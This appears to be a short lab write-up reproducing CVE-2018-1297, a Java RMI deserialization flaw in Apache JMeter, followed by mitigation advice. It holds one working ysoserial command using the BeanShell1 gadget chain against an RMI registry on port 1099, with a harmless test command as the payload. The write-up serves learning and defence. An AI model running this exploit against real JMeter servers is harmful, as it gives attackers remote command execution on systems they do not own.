Jmeter RMI Deserialization Command Execution Vulnerability (CVE-2018-1297)
Apache JMeter is an open-source software suite written in Java by the American Apache Software Foundation for stress testing and performance testing.
Versions 2.x and 3.x contain a deserialization vulnerability that allows an attacker to execute arbitrary commands on the target server.
Vulnerability Environment Execution:
I used docker on Kali Linux.
After execution, the RMI service starts and listens on port 1099.
Vulnerability:
Directly use ysoserial to exploit the vulnerability.
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit your-ip 1099 BeanShell1 'touch /tmp/success’
Enter the command as above.
I used the BeanShell1 exploit chain.
This vulnerability exploits an RMI (Remote Method Invocation) vulnerability that can occur in Java-based applications.
The ‘ysoserial-0.0.6-SNAPSHOT-all.jar’ used here is part of the ysoserial project, used to generate payloads that exploit Java deserialization vulnerabilities to allow remote code execution.
The payload is intended to execute commands such as /tmp/success, and through this vulnerability, an attacker can execute arbitrary commands on the remote system or modify system files.
Measures to mitigate this vulnerability include restricting access to the RMI service, enforcing strict permission controls, and filtering Java deserialization.